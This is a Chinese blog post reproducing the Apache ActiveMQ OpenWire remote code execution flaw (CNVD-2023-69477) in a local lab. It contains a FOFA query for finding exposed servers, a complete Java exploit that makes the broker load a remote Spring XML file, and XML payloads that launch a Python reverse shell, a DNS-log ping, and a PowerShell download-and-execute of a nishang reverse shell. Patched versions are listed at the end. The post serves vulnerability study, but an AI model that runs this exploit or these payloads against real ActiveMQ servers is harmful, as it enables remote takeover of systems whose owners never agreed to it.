当前位置: 首页 > news >正文

Apache ActiveMQ 远程代码执行漏洞复现(CNVD-2023-69477)

Apache ActiveMQ 远程代码执行RCE漏洞复现(CNVD-2023-69477)

上周爆出来的漏洞,正好做一下漏洞复现,记录一下

1.漏洞描述

​ Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。

影响版本

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

fofa语法:

app="APACHE-ActiveMQ" && port="61616"

2.环境搭建

​ 这里我是在本地进行复现的,使用了kali 和win10

安装ActiveMQ

访问:https://activemq.apache.org/,随便下载一个存在漏洞的版本

这里我下载的是apache-activemq-5.15.10版本

解压进入bin目录

使用:

activemq start #启动

访问http://127.0.0.1:8161可以看到环境启动成功

在这里插入图片描述

3.漏洞复现

访问:https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp

下载之后进入/exp文件夹,看到ActiveMQ.java, 进行修改自己的IP地址, win10:192.168.2.129 ,kali192.168.2.131

import java.io.*;
import java.net.Socket;public class ActiveMQ {public static void main(final String[] args) throws Exception {System.out.println("[*] Poc for ActiveMQ openwire protocol rce");String ip = "192.168.2.129";						    int port = 61616;String pocxml= "http://192.168.2.131:8000/poc.xml";		Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //无所谓out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();System.out.println("[*] Target\t" + ip + ":" + port);System.out.println("[*] XML address\t" + pocxml);System.out.println("[*] Payload send success.");}
}

之后修改xml文件:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>python</value><value>-c</value><value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("niubi.com",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value></list></constructor-arg></bean>
</beans>

然后启动命令

python3 -m http.server 8000		#启动http监听
nc -lvvp 9999					#监听端口
javac ActiveMQ.java				#编译
java ActiveMQ					#运行

但是此处确实调用了poc.xml文件却没有反弹shell

在这里插入图片描述

于是看看ping dnslog试试

修改xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>ping</value><value>t1298j.dnslog.cn</value></list></constructor-arg></bean>
</beans>

此处看到DNSlog平台确实有回显,证明执行了命令

在这里插入图片描述

于是想办法反弹shell ,想到windows反弹shell 命令可能不同,于是用powershell方式反弹shell

修改poc.xml文件:

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>powershell</value><value>-c</value><value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.131 -Port 23333]]></value></list></constructor-arg></bean>
</beans>

再次进行监听和运行exp

在这里插入图片描述

可以看到成功反弹shell

在这里插入图片描述

PS: 在反弹shell过程中,开始一直没弹出来,于是进入\apache-activemq-5.15.10\data,查看activemq.log日志信息,发现终止链接

在这里插入图片描述

于是将win10 防火墙,defend等全部关掉,将日志log4j.logger.org.apache.activemq=DEBUG开启,之后查看日志后,才解决问题,到此处才成功反弹shell

4.漏洞修复

目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16

http://www.lryc.cn/news/213630.html

相关文章:

  • 项目管理-科学管理基础-线性规划介绍及例题
  • 如何利用自定义数据对象(元数据)实现全场景身份数据治理
  • 腾讯云轻量级服务器哪个镜像比较好?
  • SC密封件的材料成分
  • 常用 sqlite3 命令
  • SpringMVC Day 08 : 文件上传下载
  • 【热带气旋】基本介绍:定义、标准、结构等
  • ue5 右击.uproject generator vs project file 错误
  • 0X01
  • centos7 配置搭建 wordpress 博客
  • 掌握Android自定义View与独家优化技巧
  • 【T3】彻底关闭服宝
  • P2359 三素数数 , 线性dp
  • 【c语言】用C语言设计一个环形缓冲区。当环形缓冲区有一半占用未处理时,提示使用了50%.
  • Python的web自动化学习(四)Selenium的显性等待(元素定位)
  • X3DAudio1_7.dll是什么,解决计算机找不到X3DAudio1_7.dll文件的方法
  • 【Python】海龟图turtle.color() 方法有关RGB颜色设置详解
  • 中科院上高院,协鑫,和数“能源数字化智能管控”合作项目开启
  • 在Mac上安装MongoDB 5.0
  • 手把手教你如何实现TNAS与云盘之间的无缝同步技巧
  • 【约会云栖】从初中至大学,我见证了科技变革的历程。
  • 【MySQL索引与优化篇】索引优化与查询优化
  • DevChat:VSCode中基于大模型的AI智能编程助手
  • Scrum master的职责
  • 数据结构:算法(特性,时间复杂度,空间复杂度)
  • SaaS 出海,如何搭建国际化服务体系?(一)
  • 数据结构与算法-(7)---栈的应用拓展-前缀表达式转换+求值
  • 泛型的使用
  • docker导致远程主机无法访问,docker网段冲突导致主机网络异常无法访问
  • Python的web自动化学习(三)Selenium的显性、隐形等待